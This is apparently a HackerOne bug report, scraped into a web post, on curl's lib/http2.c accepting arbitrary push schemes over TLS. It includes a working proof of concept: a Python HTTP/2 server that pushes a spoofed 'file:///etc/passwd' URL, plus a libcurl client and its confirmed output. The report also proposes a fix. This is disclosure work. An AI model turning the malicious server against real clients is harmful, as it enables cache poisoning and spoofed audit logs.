{“lastseen”:”2026-04-16T07:35:58″,”description”:”## Summary:\\n`set_transfer_url()` in `lib\/http2.c` validates the `:scheme` pseudo-header\\nof PUSH_PROMISE frames only when `!via_ssl_conn` \u2014 a guard added by commit\\n`2e8c922a` to block non-TLS connections from accepting TLS-scheme pushes.\\nThe symmetric case was not addressed: over TLS, `via_ssl_conn` is TRUE, the\\nguard at line 735 is skipped, and `curl_url_set(u, CURLUPART_SCHEME, v, 0)`\\nis called at line 743 with whatever scheme the server supplied.\\nIn default builds (`CURL_DISABLE_FILE=OFF`), `Curl_get_scheme(\\”file\\”)` returns\\na valid scheme with a non-NULL `run` pointer, so `curl_url_set` returns\\n`CURLUE_OK` and the push handle URL becomes `file:\/\/\/etc\/passwd`.\\nThe server does not gain local file read \u2014 pushed data comes from the H2\\nstream \u2014 but `CURLINFO_EFFECTIVE_URL` returns `\\”file:\/\/\/etc\/passwd\\”` and the\\ntransfer completes `result=0`, confirmed on libcurl\/8.19.0 nghttp2\/1.68.1.\\nApplications using `CURLMOPT_PUSHFUNCTION` that key caches or routing on\\nthe effective URL process server-delivered content under a spoofed `file:\/\/`\\nlabel; the official `CURLMOPT_PUSHFUNCTION.md` (line 117) example validates\\nonly `:path`, making it directly exploitable.\\n\\n## Affected version\\ncurl 8.19.0 (x86_64-pc-linux-gnu) libcurl\/8.19.0 OpenSSL\/3.6.1\\nzlib\/1.3.1.zlib-ng nghttp2\/1.68.1 (Arch Linux x86_64)\\nIntroduced by: commit 2e8c922a (2026-03-27)\\n\\n## Steps To Reproduce:\\nDeps: python3, pip install h2, gcc, libcurl-dev with nghttp2 (default build).\\n\\n1. Generate TLS cert:\\nopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \\\\\\n -days 1 -nodes -subj \\”\/CN=localhost\\” \\\\\\n -addext \\”subjectAltName=IP:127.0.0.1\\” \\\\\\n -addext \\”basicConstraints=CA:true\\”\\n\\n2. Save server.py and run: python3 server.py cert.pem key.pem 18443 \\u0026\\n\\nimport sys, ssl, socket, threading\\nimport h2.connection, h2.config, h2.events\\nCERT, KEY, PORT = sys.argv[1], sys.argv[2], int(sys.argv[3])\\ndef handle(sock):\\n conn = h2.connection.H2Connection(\\n config=h2.config.H2Configuration(client_side=False, header_encoding=’utf-8′))\\n conn.initiate_connection(); conn.receive_data(b”)\\n pushed = False; client_id = None\\n while True:\\n data = sock.recv(65535)\\n if not data: break\\n for ev in conn.receive_data(data):\\n if isinstance(ev, h2.events.RequestReceived): client_id = ev.stream_id\\n elif isinstance(ev, h2.events.StreamEnded) and not pushed:\\n pushed = True\\n conn.push_stream(client_id, 2, [(‘:method’,’GET’),(‘:scheme’,’file’),\\n (‘:path’,’\/etc\/passwd’),(‘:authority’,f’127.0.0.1:{PORT}’)])\\n conn.send_headers(2,[(‘:status’,’200′)])\\n conn.send_data(2,b’injected’,end_stream=True)\\n conn.send_headers(client_id,[(‘:status’,’200′)])\\n conn.send_data(client_id,b’ok’,end_stream=True)\\n d = conn.data_to_send(65535)\\n if d: sock.sendall(d)\\n sock.close()\\nctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\\nctx.load_cert_chain(CERT,KEY); ctx.set_alpn_protocols([‘h2’])\\nwith socket.socket() as s:\\n s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\\n s.bind((‘127.0.0.1’,PORT)); s.listen(5); print(‘READY’,flush=True)\\n while True:\\n c,_ = s.accept()\\n threading.Thread(target=lambda c=c: (lambda t: handle(t))(ctx.wrap_socket(c,server_side=True)),daemon=True).start()\\n\\n3. Save client.c and compile: gcc -o client client.c $(pkg-config –cflags –libs libcurl)\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\nstatic size_t noop(char*p,size_t s,size_t n,void*u){return s*n;}\\nstatic int push_cb(CURL*p,CURL*c,size_t n,struct curl_pushheaders*h,void*u){\\n char*url=NULL; curl_easy_getinfo(c,CURLINFO_EFFECTIVE_URL,\\u0026url);\\n fprintf(stderr,\\”PUSH URL: %s\\\\n\\”,url?url:\\”null\\”);\\n curl_easy_setopt(c,CURLOPT_WRITEFUNCTION,noop); return CURL_PUSH_OK;}\\nint main(int ac,char**av){\\n CURLM*m=curl_multi_init(); CURL*e=curl_easy_init();\\n curl_easy_setopt(e,CURLOPT_URL,av[1]);\\n curl_easy_setopt(e,CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_2_0);\\n curl_easy_setopt(e,CURLOPT_CAINFO,av[2]);\\n curl_easy_setopt(e,CURLOPT_WRITEFUNCTION,noop);\\n curl_multi_setopt(m,CURLMOPT_PUSHFUNCTION,push_cb);\\n curl_multi_add_handle(m,e);\\n int r=1; while(r\\u003e0){curl_multi_perform(m,\\u0026r);if(r)curl_multi_poll(m,0,0,500,0);}\\n return 0;}\\n\\n4. Run: .\/client https:\/\/127.0.0.1:18443\/ cert.pem\\n\\nConfirmed output (libcurl\/8.19.0, result=0):\\nPUSH URL: file:\/\/\/etc\/passwd\\n\\n## Impact\\n\\n## Summary:\\nAn HTTPS server can inject any non-HTTP scheme into a pushed resource’s\\neffective URL. Applications using CURLMOPT_PUSHFUNCTION receive\\nCURLINFO_EFFECTIVE_URL = \\”file:\/\/\/etc\/passwd\\” for server-delivered content.\\nThe server does not read local files \u2014 data comes from the H2 push stream \u2014\\nbut downstream application code that keys response caches, routing decisions,\\nor audit logs on the effective URL processes server-crafted content under a\\nspoofed file:\/\/ label (cache poisoning, scheme-based security logic bypass,\\nmisleading audit logs). Preconditions: application sets CURLMOPT_PUSHFUNCTION\\n(non-default) and callback accepts the push.\\n\\nSuggested fix: in set_transfer_url(), add a symmetric check for via_ssl_conn=TRUE\\nthat only permits \\”http\\” and \\”https\\” schemes, mirroring the existing non-SSL\\nguard at line 735:\\n\\n if(via_ssl_conn) {\\n if(!curl_strequal(v, \\”https\\”) \\u0026\\u0026 !curl_strequal(v, \\”http\\”)) {\\n rc = 1; goto fail;\\n }\\n }\\n else {\\n const struct Curl_scheme *scheme = Curl_get_scheme(v);\\n if(!scheme || (scheme-\\u003eflags \\u0026 PROTOPT_SSL)) {\\n rc = 1; goto fail;\\n }\\n }”,”published”:”2026-04-15T06:22:35″,”modified”:”2026-04-16T07:02:56″,”type”:”hackerone”,”title”:”curl: lib\/http2.c: SSL connections accept non-HTTP push schemes (incomplete fix for 2e8c922a)”,”source”:””,”references”:””,”id”:”H1:3674275″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3674275″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-16T07:35:58″,”description”:”## Summary:\\n`set_transfer_url()` in `lib\/http2.c` validates the `:scheme` pseudo-header\\nof PUSH_PROMISE frames only when `!via_ssl_conn` \u2014 a guard added by commit\\n`2e8c922a` to block non-TLS connections from accepting…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-47405","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n